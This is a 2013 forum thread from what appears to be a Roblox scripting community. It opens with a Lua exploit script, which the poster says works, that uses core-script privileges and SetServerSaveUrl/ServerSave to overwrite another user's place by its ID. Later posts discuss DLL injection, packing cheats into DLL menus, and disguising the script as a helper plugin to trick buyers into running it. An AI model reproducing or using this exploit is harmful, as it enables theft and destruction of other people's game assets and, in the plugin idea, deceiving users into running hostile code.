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| 01 Feb 2013 01:28 PM |
I have tested it (stole one of my alternate accounts places, nobody elses) It works, it would be nice is you patched it
local placeID =
s = Instance.new("ScreenGui", game.CoreGui) s.Name = ("Steal") PluginGuiworkspace = Instance.new("TextButton") PluginGuiworkspace.Parent = s PluginGuiworkspace.Size = UDim2.new(0,60,0,25) PluginGuiworkspace.Position = UDim2.new(0,130,0,380) PluginGuiworkspace.Text="Steal" PluginGuiworkspace.BackgroundTransparency = 0.3 PluginGuiworkspace.TextColor = BrickColor.new("white") PluginGuiworkspace.BackgroundColor = BrickColor.new("Gray") PluginGuiworkspace.BorderColor = BrickColor.new("Black") PluginGuiworkspace.Font = "ArialBold" PluginGuiworkspace.FontSize = "Size14" PluginGuiworkspace.TextStrokeColor3 = Color3.new(0/0,0/0,0/0) PluginGuiworkspace.TextStrokeTransparency = 0.3 PluginGuiworkspace.BorderSizePixel = 1 PluginGuiworkspace.BorderColor = BrickColor.new("White") PluginGuiworkspace.MouseButton1Down:connect(function()
game:SetServerSaveUrl("http://www.roblox.com/Data/Upload.ashx?assetid="..placeID) game:ServerSave()
end)
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Trioxide
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| Joined: 29 Mar 2011 |
| Total Posts: 32902 |
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| 01 Feb 2013 01:34 PM |
@trio Very possible, actually. Every time a Dll inject is patched, a new one takes its place. |
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| 01 Feb 2013 01:35 PM |
| Just like with the noclip exploit. A new code is found within an hour after the patch. |
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essu8
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| Joined: 26 Nov 2012 |
| Total Posts: 49 |
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| 01 Feb 2013 01:47 PM |
it's not a "code" it's an address stupid
and it only changes because they obviously changed some code and recompiled stupid |
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noliCAIKS
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| Joined: 08 Mar 2010 |
| Total Posts: 917 |
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| 01 Feb 2013 01:55 PM |
@essu8
Your wisdom fils me with joy. |
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essu8
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| Joined: 26 Nov 2012 |
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| 01 Feb 2013 02:00 PM |
@Essu I find your hostility very unneccesary. |
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zars15
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| Joined: 10 Nov 2008 |
| Total Posts: 9999 |
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| 01 Feb 2013 02:29 PM |
| @matey. They can't patch DLLs. I haven't heard of any program that doesn't allow DLLs(well probably there are some special programs dedicated for anti-dll security, but otherwise, almost all softwares can't stop DLL). |
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booing
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| Joined: 04 May 2009 |
| Total Posts: 6594 |
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| 01 Feb 2013 03:57 PM |
| Several microsoft programs have DLL detection, but that's it. People are incredibly ignorant for thinking DLLs have to do with exploiting in all cases. The studio exploit that got leaked is just about the only case I can think of where putting an exploit in a DLL could make things easier, although he could have just done it manually in a trainer. |
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zars15
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| Joined: 10 Nov 2008 |
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| 01 Feb 2013 04:01 PM |
| It's worth to make DLL if you're going to add like interesting user interface. For example: Multiple cheats in one DLL and have a nice windows form windows, with info like which of cheats are active and what button to toggle them. |
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zxv12
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| Joined: 18 Jul 2009 |
| Total Posts: 286 |
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| 01 Feb 2013 04:10 PM |
Essu8 for president of the US please.
"wer only at war becus u nuked them stupid" "well my adress is the white house stupid" "well just put more taxes stupid" |
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| 01 Feb 2013 04:15 PM |
This script originates from one of the earliest and most major exploits, it makes uses of the fact it runs as a core script to execute locked methods.
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DannyCore
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| Joined: 25 Apr 2012 |
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| 01 Feb 2013 04:34 PM |
does this actually work?
I don't want to waste my time trying something that doesn't work. |
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| 01 Feb 2013 04:39 PM |
| Why do we even have DLLs? I'm no expert, but there must be a more secure way of doing things. |
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zars15
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| Joined: 10 Nov 2008 |
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| 01 Feb 2013 04:42 PM |
| @Arceus. Libraries. C++ and similar stuff needz dem, and this is most simplest and most efficient one, I bet. |
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| 01 Feb 2013 04:42 PM |
| DLLs contain code that can be used as add-ons to a program. |
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| 01 Feb 2013 04:48 PM |
| I assume this is supposed to be loaded into a plugin online, so it pretty much useless unlike you need to steal bricks. Since script's sources are replicated, the entire game is pretty much still safe. |
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| 01 Feb 2013 06:32 PM |
| I'm guessing ServerSave() is the method used by private servers to save automatically? |
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| 01 Feb 2013 06:59 PM |
| No, it sets the URL the place will save to when you exit. It's how when you play solo you can 'Save' from that nifty gui. |
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| 01 Feb 2013 07:02 PM |
| Ah, was just wondering since I was curious as if it would save the state on online mode or fetch the offline copy. |
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pwnedu46
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| Joined: 23 May 2009 |
| Total Posts: 7534 |
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| 01 Feb 2013 11:34 PM |
Sorcus is on the Bus o' adult beverages. He might not be doing much bug fixing/moderating for a while.
https://twitter.com/Shedletsky/status/297519129122963458 |
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FoolHater
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| Joined: 17 Jul 2008 |
| Total Posts: 2141 |
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| 02 Feb 2013 08:06 AM |
| This would only be dangerous if you renamed it "Admin Attention-Grabbing Helps You Make Guis and Clan Buildings B/C You Don't Know How to Script" Plugin, and then get someone to buy it and run it in Studio. |
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nate979o
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| Joined: 14 Mar 2011 |
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